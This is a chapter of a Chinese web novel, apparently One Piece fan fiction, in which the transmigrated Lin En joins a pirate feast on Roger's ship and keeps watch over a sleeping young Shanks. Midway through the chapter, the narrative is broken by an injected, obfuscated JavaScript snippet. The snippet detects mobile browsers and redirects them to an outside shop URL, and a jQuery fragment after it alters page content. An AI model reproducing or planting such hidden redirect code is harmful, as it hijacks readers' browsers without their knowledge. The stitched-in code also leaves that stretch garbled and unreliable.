笔尖划过最后一页纸,林恩放下羽毛笔,轻轻活动了一下僵硬的手指和手腕。
窗外,夕阳已经将海面染成一片燃烧的金红色。他面前的崭新册子上,墨迹尚未完全干透,工整的字迹排列有序,将原本混乱日志中关于洋流和星象的有效数据,清晰地摘录出来。十年,这只是那本厚重日志的冰山一角,却已让他对这个世界海洋的“规律”有了最粗浅的认知——远比前世地球的海洋更加变幻莫测,但也并非毫无踪迹可循。
舱室另一头,雷利仍伏在那张巨大的机械结构图上,手中的圆规和炭笔偶尔落下,发出轻微的沙沙声。他似乎完全沉浸其中,对时间的流逝浑然不觉。
林恩站起身,将整理好的册子轻轻放在雷利书桌的空角。“雷利先生,前十年的记录整理完了。”
雷利没有抬头,只是随意地挥了挥手,示意知道了。他的全部注意力似乎都集中在图纸上某个复杂的齿轮咬合计算上。
林恩不再打扰,轻手轻脚地退出舱室,小心地带上了门。
门外的世界,声音陡然放大。
不再是羽毛笔的沙沙和纸张的摩挲,而是截然不同的、充满生命力的喧嚣。
“喂!那边的酒桶!搬到这边来!”
“肉!肉要多烤一点!巴基你小子别偷吃!”
“哈哈哈,今晚要把库存的朗姆酒都喝光!”
甲板已经被彻底改造。白天的劳作痕迹被清扫一空,取而代之的是成堆的食物、成桶的酒液,以及用绳索和帆布临时搭起的简易遮棚。几处炭火正旺,架在上面的铁锅里炖着香气四溢的肉汤,旁边的烤架上,大块的海兽肉被烤得滋滋冒油,油脂滴入火中,爆起更浓郁的香气。
船员们三五成群,或坐或站,大声谈笑,勾肩搭背。有人已经抱着酒桶开始豪饮,有人拍打着不知从哪里翻出来的、沾着锈迹的手风琴,试图拉出调子。空气中弥漫着烤肉、香料、烟草和酒精的浓烈气味,混合着汗味与海风,形成一种粗犷而原始的欢腾。
林恩站在舱室入口的阴影里,有那么一瞬间的恍惚。
眼前的一切,和他过去二十多年所熟悉的世界,是如此截然不同。没有安静的自习室,没有键盘的敲击声,没有拥挤却沉默的地铁车厢。这里只有最直接的感官冲击,最不加掩饰的情绪宣泄,最纯粹的、活着的气息。
热闹是真切的。可这热闹,仿佛与他隔着一层无形的玻璃。他是个闯入者,一个旁观者,一个……异类。
“林恩!这边这边!”
香克斯的声音穿透喧嚣传来。他正蹲在一个大木桶旁,手里举着两只油腻腻的、烤得焦黄的兽腿,脸上沾着炭灰,笑容却比旁边的篝火还要明亮。他用力挥舞着兽腿,差点打到旁边一个正仰头灌酒的大胡子船员,引来对方一声笑骂。
“快来!我抢到了最大的两块!巴基那家伙想偷,被我踹开了!”香克斯得意洋洋,仿佛做成了什么了不起的大事。
林恩迟疑了一下,还是走了过去。甲板在无数脚步下微微震颤,他小心地避开几个已经醉眼朦胧、手舞足蹈的船员。
“给!”香克斯直接将一只沉甸甸、烫手的兽腿塞进林恩手里,“快吃!凉了就不好吃了!这可是今天打到的‘海王类’的幼崽肉,超——级好吃的!”
兽腿入手温热,表皮焦脆,肉香扑鼻。林恩看着手里这块比他前世一整只烤鸡还大的肉,有些无从下口。
“嘿,小子,新来的?”旁边那个大胡子船员凑了过来,满身酒气,但眼神还算清明。他咧开嘴,露出缺了颗门牙的笑容,用力拍了拍林恩的肩膀——力道大得让林恩一个趔趄,“别愣着!吃!喝!上了罗杰船长的船,就是兄弟!是兄弟,就要一起开宴会!哈哈哈哈!”
他又灌了一大口酒,将另一个酒囊塞到林恩怀里,然后摇摇晃晃地走向另一堆人群,加入了一场已经开始比腕力的闹剧。
“别理桑贝尔大叔,他喝多了就这样。”香克斯已经抱着自己那只兽腿,毫无形象地大口啃咬起来,汁水顺着嘴角流下,“不过他说得对!宴会就是要开心!林恩,你也快吃啊!”
林恩看了看手里的肉,又看了看四周。巴基正试图从一个胖厨师手里再偷一块烤肉,被对方举着勺子追得满甲板跑。另一个船员弹起了不知名的乐器,调子跑得厉害,但周围的人都跟着胡乱哼唱,笑声震天。罗杰船长坐在最高的一个酒桶上,一手拿着巨大的酒杯,一手拿着一条烤鱼,正和身边的雷利大声说着什么,然后爆发出震耳欲聋的大笑。
这就是……海贼的宴会。
没有精致的礼仪,没有虚伪的客套,只有最本能的食欲,最直接的快乐,和最纯粹的、同伴之间的喧闹。
林恩低下头,学着香克斯的样子,试着咬了一口手中的肉。
焦脆的外皮在齿间碎裂,内里是鲜嫩多汁、充满嚼劲的肉质,混合着粗盐和不知名香料的狂野风味,瞬间充斥了整个口腔。一种原始的、满足的感觉,从胃部升腾起来。
味道……确实很特别。很……好吃。
他又咬了一口,更大口。
“对吧对吧!”香克斯眼睛亮晶晶地看着他,嘴里塞满了食物,含糊不清地说,“宴会最棒了!”
林恩点了点头,也灌了一口酒囊里的液体。不是想象中的辛辣,而是一种带着果味甜香的淡酒,度数不高,很容易入口。暖流顺着喉咙滑下,驱散了傍晚海风的微凉,也让身体微微放松。
他开始小口吃肉,小口喝酒,目光却依旧不由自主地游离在喧嚣之外。
他看着船员们勾肩搭背地唱歌,看着他们为无聊的事情打赌争吵又很快和好,看着罗杰被一群人抛起又接住,笑声几乎要掀翻夜空。他能感受到那股澎湃的、几乎要满溢出来的生命力与快乐,那是历经生死冒险后彻底释放的豪情,是同伴之间毫无保留的信任与亲密。
很温暖。很感染人。
可内心深处,那块冰冷的、属于“异乡人”的角落,依然存在。他知道这些人的名字,知道他们未来的命运,知道这场盛宴背后的阴影(罗杰的绝症),也知道此刻的欢腾,在不久的将来会迎来怎样痛彻心扉的离散。
知晓,让他无法完全沉浸。
他像一座孤岛,漂浮在这片名为“欢宴”的温暖海洋中,能被浪潮轻轻拍打,却无法真正成为海洋的一部分。
“林恩,”香克斯不知何时已经啃完了自己的肉,正用油腻的手胡乱抹了抹嘴,凑到他旁边坐下,红发蹭到他的肩膀,“你好像……不太开心?”
少年的直觉有时候敏锐得可怕。
“没有。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016521|194203||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
林恩摇摇头,又喝了一口酒,“只是……有点不习惯。太吵了。”
“吵才热闹啊!”香克斯理所当然地说,他仰头看着星空,篝火在他年轻的脸上跳跃,“我最喜欢宴会了!大家在一起,吃东西,喝酒,唱歌,什么都不用想!好像所有的麻烦事都会消失一样!”
他的语气里,有一种纯粹的、毫无阴霾的快乐。林恩看着他被火光照亮的侧脸,那三道伤疤在阴影中若隐若现。这个未来将君临大海、背负起一个时代的红发香克斯,此刻还只是个会因为抢到最大块烤肉而得意、会因为宴会而开心大笑的少年。
“嗯。”林恩低声应道。他无法分享那种纯粹的快乐,但至少,他可以守护这份快乐,在这个少年还能如此畅快大笑的时候。
夜渐渐深了。
酒意和饱食让甲板上的喧嚣渐渐变得慵懒。手风琴的调子越来越慢,最终停了下来。唱歌变成了低低的哼唱,争吵变成了含糊的嘟囔。不少人直接抱着酒桶或靠在同伴身上,打起了响亮的鼾。
篝火依旧在燃烧,噼啪作响。
林恩也感到一阵倦意和微醺袭来。淡酒的后劲开始显现,头脑有些昏沉,身体却暖洋洋的。他靠着身后的木桶,看着跳跃的火光,眼皮渐渐沉重。
“……林恩?”
香克斯的声音很近,带着浓浓的睡意。林恩勉强睁开眼,发现香克斯不知何时已经蹭到了他旁边,脑袋一点一点,眼睛快要睁不开了。
“嗯?”
“你……会一直……在吧?”香克斯含糊地问,身体不自觉地歪了过来,额头抵住了林恩的肩膀。他的呼吸带着酒气和烤肉的味道,温热地喷洒在林恩的颈侧。
林恩的身体微微僵硬了一下。他不习惯与人如此近距离的接触。但香克斯似乎已经半睡半醒,只是本能地寻找一个依靠。
“睡吧。”林恩没有回答那个问题,只是低声说。
“……哦。”香克斯含糊地应了一声,彻底放松下来,几乎是立刻陷入了沉睡。小小的鼾声响起,规律而安稳。
林恩的肩膀承受着少年不算沉重的重量,没有动弹。他抬起头,目光越过香克斯凌乱的红发,望向甲板。
大部分船员都已东倒西歪。罗杰不知去了哪里。雷利还坐在那个酒桶上,手里拿着酒壶,静静地看着星空,篝火将他的身影拉得很长。
喧嚣散尽,只余下海浪轻拍船身的哗啦声,篝火的噼啪声,和此起彼伏的鼾声。
一种奇异的平静,取代了之前的孤独感。
热闹是他们的。但此刻,这份沉甸甸的依靠,这份毫无防备的信任,是真实地传递到他身上的。
他依然是个异乡人,一座孤岛。
但或许,孤岛也可以有停靠的船只,有暂栖的海鸟。
林恩轻轻调整了一下姿势,让靠着自己的香克斯睡得更安稳些。他拿起旁边还剩小半袋的淡酒,慢慢地喝了一口。
酒已微凉,入喉却依旧有暖意。
他守着这片喧嚣后的宁静,守着肩头沉沉的信任,也守着自己心中那块依然冰冷、却似乎被篝火映亮了一角的孤岛。
夜空之上,星河低垂,无声地照耀着这艘航行在无边大海上的船,照耀着船上这群做着最自由之梦的人们,也照耀着那个守夜的异乡少年。